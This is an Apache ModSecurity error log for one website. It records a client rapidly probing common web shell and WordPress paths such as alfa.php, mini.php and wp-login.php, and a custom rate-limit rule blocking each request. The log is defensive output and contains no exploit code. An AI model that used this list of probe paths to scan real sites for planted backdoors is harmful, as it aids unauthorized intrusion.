[Sun Apr 12 05:08:07.003104 2026] [:error] [pid 26567:tid 26577] [client 20.91.190.16:30034] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "adq4N3hRpg6ptWFyFx3xEQAAAQg"]
[Sun Apr 12 05:08:07.532181 2026] [:error] [pid 25437:tid 25462] [client 20.91.190.16:56050] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "adq4N3f97wYZje1ep_NK7wAAANc"]
[Sun Apr 12 05:08:08.057453 2026] [:error] [pid 26600:tid 26640] [client 20.91.190.16:39208] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "adq4OO1YwAZiXhQKLYptrAAAAYs"]
[Sun Apr 12 05:08:08.585598 2026] [:error] [pid 26600:tid 26652] [client 20.91.190.16:62075] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/p.php"] [unique_id "adq4OO1YwAZiXhQKLYptsAAAAZc"]
[Sun Apr 12 05:08:09.136894 2026] [:error] [pid 26600:tid 26633] [client 20.91.190.16:63311] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "adq4Oe1YwAZiXhQKLYptsQAAAYQ"]
[Sun Apr 12 05:08:09.785792 2026] [:error] [pid 26600:tid 26646] [client 20.91.190.16:63297] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "adq4Oe1YwAZiXhQKLYpttwAAAZE"]
[Sun Apr 12 05:08:10.345691 2026] [:error] [pid 25328:tid 25375] [client 20.91.190.16:16263] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "adq4OsxUaQZxT-e0YsDNmgAAAEk"]
[Sun Apr 12 05:08:10.921484 2026] [:error] [pid 26600:tid 26633] [client 20.91.190.16:56047] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "adq4Ou1YwAZiXhQKLYptugAAAYQ"]
[Sun Apr 12 05:08:11.473585 2026] [:error] [pid 26600:tid 26651] [client 20.91.190.16:62034] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "adq4O-1YwAZiXhQKLYptvAAAAZY"]
[Sun Apr 12 05:08:11.998157 2026] [:error] [pid 26599:tid 26613] [client 20.91.190.16:62031] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "adq4O3G89LXoQbk_rwAwdgAAAUs"]
[Sun Apr 12 05:08:12.523309 2026] [:error] [pid 25437:tid 25455] [client 20.91.190.16:5146] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "adq4PHf97wYZje1ep_NK9AAAANA"]
[Sun Apr 12 05:08:13.061123 2026] [:error] [pid 25327:tid 25356] [client 20.91.190.16:16276] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mini.php"] [unique_id "adq4PS6h2tZEVJo9JFI8SAAAABQ"]
[Sun Apr 12 05:08:13.490551 2026] [:error] [pid 25437:tid 25457] [client 143.198.119.177:33546] [client 143.198.119.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.119.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq4PXf97wYZje1ep_NK-QAAANI"]
[Sun Apr 12 05:08:13.614382 2026] [:error] [pid 25437:tid 25449] [client 20.91.190.16:32956] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "adq4PXf97wYZje1ep_NK-gAAAMo"]
[Sun Apr 12 05:08:14.165076 2026] [:error] [pid 60280:tid 60302] [client 20.91.190.16:5130] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "adq4PnBlLnDOYuIykkjR6AAAAdQ"]
[Sun Apr 12 05:08:14.692738 2026] [:error] [pid 25437:tid 25450] [client 20.91.190.16:45342] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "adq4Pnf97wYZje1ep_NK_wAAAMs"]
[Sun Apr 12 05:08:15.211544 2026] [:error] [pid 25327:tid 25337] [client 20.91.190.16:32947] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "adq4Py6h2tZEVJo9JFI8TgAAAAE"]
[Sun Apr 12 05:08:15.748301 2026] [:error] [pid 26599:tid 26621] [client 20.91.190.16:64895] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "adq4P3G89LXoQbk_rwAwfQAAAVM"]
[Sun Apr 12 05:08:16.288950 2026] [:error] [pid 25328:tid 25385] [client 20.91.190.16:5823] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "adq4QMxUaQZxT-e0YsDNoQAAAE4"]
[Sun Apr 12 05:08:16.837336 2026] [:error] [pid 25328:tid 25396] [client 20.91.190.16:59897] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "adq4QMxUaQZxT-e0YsDNpwAAAFM"]
[Sun Apr 12 05:08:17.365201 2026] [:error] [pid 25437:tid 25462] [client 20.91.190.16:32903] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "adq4QXf97wYZje1ep_NLAgAAANc"]
[Sun Apr 12 05:08:17.885732 2026] [:error] [pid 25437:tid 25456] [client 20.91.190.16:6135] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "adq4QXf97wYZje1ep_NLBAAAANE"]
[Sun Apr 12 05:08:18.405259 2026] [:error] [pid 25328:tid 25369] [client 20.91.190.16:52340] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "adq4QsxUaQZxT-e0YsDNrwAAAEU"]
[Sun Apr 12 05:08:18.927724 2026] [:error] [pid 25437:tid 25449] [client 20.91.190.16:64882] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "adq4Qnf97wYZje1ep_NLCAAAAMo"]
[Sun Apr 12 05:08:19.483416 2026] [:error] [pid 25329:tid 25388] [client 20.91.190.16:63342] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "adq4Q2dcIYsS8Iyaj10owwAAAIc"]
[Sun Apr 12 05:08:20.103433 2026] [:error] [pid 26567:tid 26591] [client 20.91.190.16:37980] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "adq4RHhRpg6ptWFyFx3xIAAAARY"]
[Sun Apr 12 05:08:20.692849 2026] [:error] [pid 26600:tid 26636] [client 20.91.190.16:5816] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "adq4RO1YwAZiXhQKLYptyAAAAYc"]
[Sun Apr 12 05:08:21.211626 2026] [:error] [pid 25437:tid 25454] [client 20.91.190.16:5163] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "adq4RXf97wYZje1ep_NLEgAAAM8"]
[Sun Apr 12 05:08:21.749376 2026] [:error] [pid 26599:tid 26624] [client 20.91.190.16:41815] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "adq4RXG89LXoQbk_rwAwhAAAAVY"]
[Sun Apr 12 05:08:22.277991 2026] [:error] [pid 26599:tid 26623] [client 20.91.190.16:5810] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "adq4RnG89LXoQbk_rwAwhgAAAVU"]
[Sun Apr 12 05:08:22.818555 2026] [:error] [pid 26600:tid 26637] [client 20.91.190.16:5172] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "adq4Ru1YwAZiXhQKLYptzAAAAYg"]
[Sun Apr 12 05:08:23.348386 2026] [:error] [pid 25437:tid 25461] [client 20.91.190.16:37987] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "adq4R3f97wYZje1ep_NLGAAAANY"]
[Sun Apr 12 05:08:23.914309 2026] [:error] [pid 26599:tid 26602] [client 20.91.190.16:64870] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "adq4R3G89LXoQbk_rwAwjAAAAUA"]
[Sun Apr 12 05:08:24.491553 2026] [:error] [pid 26567:tid 26577] [client 20.91.190.16:62039] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "adq4SHhRpg6ptWFyFx3xMAAAAQg"]
[Sun Apr 12 05:08:25.066720 2026] [:error] [pid 60280:tid 60298] [client 20.91.190.16:5776] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "adq4SXBlLnDOYuIykkjR8AAAAdA"]
[Sun Apr 12 05:08:25.632494 2026] [:error] [pid 26567:tid 26585] [client 20.91.190.16:32948] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "adq4SXhRpg6ptWFyFx3xMgAAARA"]
[Sun Apr 12 05:08:26.168862 2026] [:error] [pid 60280:tid 60288] [client 20.91.190.16:5806] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "adq4SnBlLnDOYuIykkjR9AAAAcY"]
[Sun Apr 12 05:08:26.686262 2026] [:error] [pid 25328:tid 25367] [client 20.91.190.16:64844] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "adq4SsxUaQZxT-e0YsDNugAAAEM"]
[Sun Apr 12 05:08:27.207276 2026] [:error] [pid 25328:tid 25391] [client 20.91.190.16:37954] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "adq4S8xUaQZxT-e0YsDNvQAAAFE"]
[Sun Apr 12 05:08:27.734281 2026] [:error] [pid 25328:tid 25385] [client 20.91.190.16:45320] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "adq4S8xUaQZxT-e0YsDNwQAAAE4"]
[Sun Apr 12 05:08:28.288906 2026] [:error] [pid 25328:tid 25373] [client 20.91.190.16:64876] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "adq4TMxUaQZxT-e0YsDNxQAAAEg"]
[Sun Apr 12 05:08:28.808212 2026] [:error] [pid 25328:tid 25368] [client 20.91.190.16:64839] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "adq4TMxUaQZxT-e0YsDNywAAAEQ"]
[Sun Apr 12 05:08:29.349045 2026] [:error] [pid 25328:tid 25380] [client 20.91.190.16:45317] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "adq4TcxUaQZxT-e0YsDN1QAAAEw"]
[Sun Apr 12 05:08:29.880425 2026] [:error] [pid 26600:tid 26631] [client 20.91.190.16:62025] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "adq4Te1YwAZiXhQKLYpt1QAAAYI"]
[Sun Apr 12 05:08:30.428878 2026] [:error] [pid 25328:tid 25401] [client 20.91.190.16:46758] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/default.php"] [unique_id "adq4TsxUaQZxT-e0YsDN2gAAAFU"]
[Sun Apr 12 05:08:30.976673 2026] [:error] [pid 25328:tid 25367] [client 20.91.190.16:45361] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adq4TsxUaQZxT-e0YsDN3AAAAEM"]
[Sun Apr 12 05:08:31.508617 2026] [:error] [pid 26600:tid 26638] [client 20.91.190.16:20897] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adq4T-1YwAZiXhQKLYpt2QAAAYk"]
[Sun Apr 12 05:08:32.045562 2026] [:error] [pid 25329:tid 25413] [client 20.91.190.16:6120] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adq4UGdcIYsS8Iyaj10ozAAAAJY"]
[Sun Apr 12 05:08:32.578133 2026] [:error] [pid 25329:tid 25378] [client 20.91.190.16:5805] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adq4UGdcIYsS8Iyaj10ozQAAAII"]
[Sun Apr 12 05:08:33.098381 2026] [:error] [pid 26600:tid 26640] [client 20.91.190.16:32949] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "adq4Ue1YwAZiXhQKLYpt4AAAAYs"]
[Sun Apr 12 05:08:33.648365 2026] [:error] [pid 25328:tid 25375] [client 20.91.190.16:20924] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "adq4UcxUaQZxT-e0YsDN7QAAAEk"]
[Sun Apr 12 05:08:34.180883 2026] [:error] [pid 26600:tid 26632] [client 20.91.190.16:20922] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "adq4Uu1YwAZiXhQKLYpt4gAAAYM"]
[Sun Apr 12 05:08:34.789703 2026] [:error] [pid 26600:tid 26650] [client 20.91.190.16:62096] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "adq4Uu1YwAZiXhQKLYpt5AAAAZU"]
[Sun Apr 12 05:08:35.352293 2026] [:error] [pid 25328:tid 25403] [client 20.91.190.16:42456] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "adq4U8xUaQZxT-e0YsDN8wAAAFY"]
[Sun Apr 12 05:08:35.913146 2026] [:error] [pid 25328:tid 25365] [client 20.91.190.16:48804] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "adq4U8xUaQZxT-e0YsDN9wAAAEE"]
[Sun Apr 12 05:08:36.440765 2026] [:error] [pid 25329:tid 25404] [client 20.91.190.16:48802] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "adq4VGdcIYsS8Iyaj10o0gAAAJA"]
